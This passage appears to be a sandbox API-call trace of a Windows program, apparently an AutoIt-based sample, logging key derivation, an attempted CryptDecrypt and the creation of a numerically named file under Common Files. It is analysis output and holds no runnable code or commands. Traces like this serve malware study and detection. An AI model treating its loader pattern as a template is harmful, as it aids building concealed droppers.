(in: lpMsg=0x26a4a5ee80, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5ee80) returned 0 [0036.776] PeekMessageW (in: lpMsg=0x26a4a5f1a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f1a0) returned 0 [0036.776] PeekMessageW (in: lpMsg=0x26a4a5f1a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f1a0) returned 0 [0036.776] PeekMessageW (in: lpMsg=0x26a4a5f1a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f1a0) returned 0 [0036.776] CharUpperBuffW (in: lpsz="_CRYPT_DERIVEKEY", cchLength=0x10 | out: lpsz="_CRYPT_DERIVEKEY") returned 0x10 [0036.776] PeekMessageW (in: lpMsg=0x26a4a5eac0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5eac0) returned 0 [0036.776] PeekMessageW (in: lpMsg=0x26a4a5eac0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5eac0) returned 0 [0036.776] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0036.776] PeekMessageW (in: lpMsg=0x26a4a5e7a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5e7a0) returned 0 [0036.776] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0036.776] PeekMessageW (in: lpMsg=0x26a4a5e190, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5e190) returned 0 [0036.776] PeekMessageW (in: lpMsg=0x26a4a5e7a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5e7a0) returned 0 [0036.776] PeekMessageW (in: lpMsg=0x26a4a5e7a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5e7a0) returned 0 [0036.776] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0036.777] PeekMessageW (in: lpMsg=0x26a4a5e480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5e480) returned 0 [0036.777] PeekMessageW (in: lpMsg=0x26a4a5e480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5e480) returned 0 [0036.777] PeekMessageW (in: lpMsg=0x26a4a5e7a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5e7a0) returned 0 [0036.777] PeekMessageW (in: lpMsg=0x26a4a5eac0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5eac0) returned 0 [0036.777] PeekMessageW (in: lpMsg=0x26a4a5eac0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5eac0) returned 0 [0036.777] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0036.777] PeekMessageW (in: lpMsg=0x26a4a5e210, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5e210) returned 0 [0036.777] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0036.777] PeekMessageW (in: lpMsg=0x26a4a5e210, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5e210) returned 0 [0036.777] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0036.777] CryptCreateHash (in: hProv=0x26a4cb6e00, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x26a4a5e2a0 | out: phHash=0x26a4a5e2a0) returned 1 [0036.777] PeekMessageW (in: lpMsg=0x26a4a5eac0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5eac0) returned 0 [0036.777] PeekMessageW (in: lpMsg=0x26a4a5eac0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5eac0) returned 0 [0036.777] PeekMessageW (in: lpMsg=0x26a4a5eac0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5eac0) returned 0 [0036.777] PeekMessageW (in: lpMsg=0x26a4a5eac0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5eac0) returned 0 [0036.778] CharLowerBuffW (in: lpsz="byte[13]", cchLength=0x8 | out: lpsz="byte[13]") returned 0x8 [0036.778] PeekMessageW (in: lpMsg=0x26a4a5eac0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5eac0) returned 0 [0036.778] PeekMessageW (in: lpMsg=0x26a4a5eac0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5eac0) returned 0 [0036.778] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0036.778] PeekMessageW (in: lpMsg=0x26a4a5e210, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5e210) returned 0 [0036.778] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0036.778] CryptHashData (hHash=0x26a4c75c70, pbData=0x26a4c92290, dwDataLen=0xd, dwFlags=0x1) returned 1 [0036.778] PeekMessageW (in: lpMsg=0x26a4a5eac0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5eac0) returned 0 [0036.778] PeekMessageW (in: lpMsg=0x26a4a5eac0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5eac0) returned 0 [0036.778] PeekMessageW (in: lpMsg=0x26a4a5eac0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5eac0) returned 0 [0036.778] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0036.778] PeekMessageW (in: lpMsg=0x26a4a5e210, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5e210) returned 0 [0036.778] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0036.778] PeekMessageW (in: lpMsg=0x26a4a5e210, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5e210) returned 0 [0036.778] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0036.778] CryptDeriveKey (in: hProv=0x26a4cb6e00, Algid=0x660e, hBaseData=0x26a4c75c70, dwFlags=0x1, phKey=0x26a4a5e2a0 | out: phKey=0x26a4a5e2a0*=0x26a4c75c00) returned 1 [0036.779] PeekMessageW (in: lpMsg=0x26a4a5eac0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5eac0) returned 0 [0036.779] PeekMessageW (in: lpMsg=0x26a4a5eac0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5eac0) returned 0 [0036.779] PeekMessageW (in: lpMsg=0x26a4a5eac0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5eac0) returned 0 [0036.779] PeekMessageW (in: lpMsg=0x26a4a5eac0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5eac0) returned 0 [0036.779] PeekMessageW (in: lpMsg=0x26a4a5eac0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5eac0) returned 0 [0036.779] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0036.779] PeekMessageW (in: lpMsg=0x26a4a5e300, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5e300) returned 0 [0036.779] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0036.779] CryptDestroyHash (hHash=0x26a4c75c70) returned 1 [0036.779] PeekMessageW (in: lpMsg=0x26a4a5eac0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5eac0) returned 0 [0036.779] PeekMessageW (in: lpMsg=0x26a4a5f1a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f1a0) returned 0 [0036.779] PeekMessageW (in: lpMsg=0x26a4a5f1a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f1a0) returned 0 [0036.779] PeekMessageW (in: lpMsg=0x26a4a5f1a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f1a0) returned 0 [0036.779] PeekMessageW (in: lpMsg=0x26a4a5f1a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f1a0) returned 0 [0036.779] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0036.780] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x26a4a5ec90, dwMoveMethod=0x1 | out: lpNewFilePointer=0x26a4a5ec90*=0) returned 1 [0036.780] PeekMessageW (in: lpMsg=0x26a4a5f1a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f1a0) returned 0 [0036.780] PeekMessageW (in: lpMsg=0x26a4a5f1a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f1a0) returned 0 [0036.780] PeekMessageW (in: lpMsg=0x26a4a5f1a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f1a0) returned 0 [0036.780] GetFileAttributesW (lpFileName="C:\\PROGRA~1\\COMMON~1\\" (normalized: "c:\\progra~1\\common~1")) returned 0x10 [0036.780] CreateFileW (lpFileName="C:\\PROGRA~1\\COMMON~1\\3123635631" (normalized: "c:\\progra~1\\common~1\\3123635631"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1dc [0036.781] PeekMessageW (in: lpMsg=0x26a4a5f1a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f1a0) returned 0 [0036.781] PeekMessageW (in: lpMsg=0x26a4a5f1a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f1a0) returned 0 [0036.781] PeekMessageW (in: lpMsg=0x26a4a5f1a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f1a0) returned 0 [0036.781] PeekMessageW (in: lpMsg=0x26a4a5f1a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f1a0) returned 0 [0036.782] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x26a4a5ed40, dwMoveMethod=0x1 | out: lpNewFilePointer=0x26a4a5ed40*=0) returned 1 [0036.782] ReadFile (in: hFile=0x194, lpBuffer=0x26a4ccf910, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x26a4a5ed80, lpOverlapped=0x0 | out: lpBuffer=0x26a4ccf910*, lpNumberOfBytesRead=0x26a4a5ed80*=0x10, lpOverlapped=0x0) returned 1 [0036.782] ReadFile (in: hFile=0x194, lpBuffer=0x26a4ccf910, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x26a4a5ed80, lpOverlapped=0x0 | out: lpBuffer=0x26a4ccf910*, lpNumberOfBytesRead=0x26a4a5ed80*=0x0, lpOverlapped=0x0) returned 1 [0036.784] PeekMessageW (in: lpMsg=0x26a4a5f1a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f1a0) returned 0 [0036.784] PeekMessageW (in: lpMsg=0x26a4a5f1a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f1a0) returned 0 [0036.785] PeekMessageW (in: lpMsg=0x26a4a5f1a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f1a0) returned 0 [0036.785] CharUpperBuffW (in: lpsz="_CRYPT_DECRYPTDATA", cchLength=0x12 | out: lpsz="_CRYPT_DECRYPTDATA") returned 0x12 [0036.787] PeekMessageW (in: lpMsg=0x26a4a5eac0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5eac0) returned 0 [0036.787] PeekMessageW (in: lpMsg=0x26a4a5eac0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5eac0) returned 0 [0036.787] CharUpperBuffW (in: lpsz="__CRYPT_GETCALGFROMCRYPTKEY", cchLength=0x1b | out: lpsz="__CRYPT_GETCALGFROMCRYPTKEY") returned 0x1b [0036.787] PeekMessageW (in: lpMsg=0x26a4a5e3f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5e3f0) returned 0 [0036.787] CharLowerBuffW (in: lpsz="uint;dword", cchLength=0xa | out: lpsz="uint;dword") returned 0xa [0036.787] PeekMessageW (in: lpMsg=0x26a4a5e3f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5e3f0) returned 0 [0036.787] PeekMessageW (in: lpMsg=0x26a4a5e3f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5e3f0) returned 0 [0036.788] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0036.788] PeekMessageW (in: lpMsg=0x26a4a5db50, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5db50) returned 0 [0036.788] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0036.789] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptGetKeyParam", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0036.789] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptGetKeyParam", cchWideChar=17, lpMultiByteStr=0x26a4c926f0, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptGetKeyParam", lpUsedDefaultChar=0x0) returned 17 [0036.789] GetProcAddress (hModule=0x7ffe2a590000, lpProcName="CryptGetKeyParam") returned 0x7ffe2a5cb750 [0036.789] CryptGetKeyParam (in: hKey=0x26a4c75c00, dwParam=0x7, pbData=0x26a4b5a690, pdwDataLen=0x26a4a5dbb8, dwFlags=0x0 | out: pbData=0x26a4b5a690*=0x660e, pdwDataLen=0x26a4a5dbb8*=0x4) returned 1 [0036.790] PeekMessageW (in: lpMsg=0x26a4a5e3f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5e3f0) returned 0 [0036.790] PeekMessageW (in: lpMsg=0x26a4a5e3f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5e3f0) returned 0 [0036.790] PeekMessageW (in: lpMsg=0x26a4a5eac0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5eac0) returned 0 [0036.790] PeekMessageW (in: lpMsg=0x26a4a5eac0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5eac0) returned 0 [0036.790] PeekMessageW (in: lpMsg=0x26a4a5eac0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5eac0) returned 0 [0036.790] PeekMessageW (in: lpMsg=0x26a4a5eac0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5eac0) returned 0 [0036.790] PeekMessageW (in: lpMsg=0x26a4a5eac0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5eac0) returned 0 [0036.791] PeekMessageW (in: lpMsg=0x26a4a5eac0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5eac0) returned 0 [0036.791] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0036.791] PeekMessageW (in: lpMsg=0x26a4a5e7a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5e7a0) returned 0 [0036.791] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0036.791] PeekMessageW (in: lpMsg=0x26a4a5e190, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5e190) returned 0 [0036.791] PeekMessageW (in: lpMsg=0x26a4a5e7a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5e7a0) returned 0 [0036.791] PeekMessageW (in: lpMsg=0x26a4a5e7a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5e7a0) returned 0 [0036.791] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0036.791] PeekMessageW (in: lpMsg=0x26a4a5e480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5e480) returned 0 [0036.791] PeekMessageW (in: lpMsg=0x26a4a5e480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5e480) returned 0 [0036.791] PeekMessageW (in: lpMsg=0x26a4a5e7a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5e7a0) returned 0 [0036.791] PeekMessageW (in: lpMsg=0x26a4a5eac0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5eac0) returned 0 [0036.791] PeekMessageW (in: lpMsg=0x26a4a5eac0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5eac0) returned 0 [0036.791] PeekMessageW (in: lpMsg=0x26a4a5eac0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5eac0) returned 0 [0036.791] PeekMessageW (in: lpMsg=0x26a4a5eac0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5eac0) returned 0 [0036.791] CharLowerBuffW (in: lpsz="byte[1016]", cchLength=0xa | out: lpsz="byte[1016]") returned 0xa [0036.791] PeekMessageW (in: lpMsg=0x26a4a5eac0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5eac0) returned 0 [0036.791] PeekMessageW (in: lpMsg=0x26a4a5eac0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5eac0) returned 0 [0036.791] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0036.791] PeekMessageW (in: lpMsg=0x26a4a5e210, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5e210) returned 0 [0036.791] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0036.791] CryptDecrypt (in: hKey=0x26a4c75c00, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x26a4d11da0, pdwDataLen=0x26a4a5e2c8 | out: pbData=0x26a4d11da0, pdwDataLen=0x26a4a5e2c8) returned 0 [0036.792] PeekMessageW (in: lpMsg=0x26a4a5eac0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5eac0) returned 0 [0036.792] PeekMessageW (in: lpMsg=0x26a4a5eac0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5eac0) returned 0 [0036.792] PeekMessageW (in: lpMsg=0x26a4a5eac0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5eac0) returned 0 [0036.792] PeekMessageW (in: lpMsg=0x26a4a5eac0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5eac0) returned 0 [0036.792] PeekMessageW (in: lpMsg=0x26a4a5eac0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5eac0) returned 0 [0036.792] PeekMessageW (in: lpMsg=0x26a4a5eac0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5eac0) returned 0 [0036.792] PeekMessageW (in: lpMsg=0x26a4a5eac0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5eac0) returned 0 [0036.792] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0036.792] PeekMessageW (in: lpMsg=0x26a4a5e7a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5e7a0) returned 0 [0036.792] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0036.792] PeekMessageW (in: lpMsg=0x26a4a5e480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5e480) returned 0 [0036.792] PeekMessageW (in: lpMsg=0x26a4a5e480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5e480) returned 0 [0036.792] PeekMessageW (in: lpMsg=0x26a4a5e7a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5e7a0) returned 0 [0036.792] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0036.792] PeekMessageW (in: lpMsg=0x26a4a5e190, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5e190) returned 0 [0036.792] PeekMessageW (in: lpMsg=0x26a4a5e7a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5e7a0) returned 0 [0036.792] PeekMessageW (in: lpMsg=0x26a4a5e7a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5e7a0) returned 0 [0036.792] PeekMessageW (in: lpMsg=0x26a4a5eac0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5eac0) returned 0 [0036.792] PeekMessageW (in: lpMsg=0x26a4a5f1a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f1a0) returned 0 [0036.792] PeekMessageW (in: lpMsg=0x26a4a5f1a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f1a0) returned 0 [0036.792] PeekMessageW (in: lpMsg=0x26a4a5f1a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f1a0) returned 0 [0036.792] PeekMessageW (in: lpMsg=0x26a4a5f1a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f1a0) returned 0 [0036.793] PeekMessageW (in: lpMsg=0x26a4a5f1a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f1a0) returned 0 [0036.793] PeekMessageW (in: lpMsg=0x26a4a5f1a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f1a0) returned 0 [0036.793] PeekMessageW (in: lpMsg=0x26a4a5f1a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f1a0) returned 0 [0036.793] PeekMessageW (in: lpMsg=0x26a4a5f1a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f1a0) returned 0 [0036.793] CharUpperBuffW (in: lpsz="_CRYPT_DESTROYKEY", cchLength=0x11 | out: lpsz="_CRYPT_DESTROYKEY") returned 0x11 [0036.793] PeekMessageW (in: lpMsg=0x26a4a5ecf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, 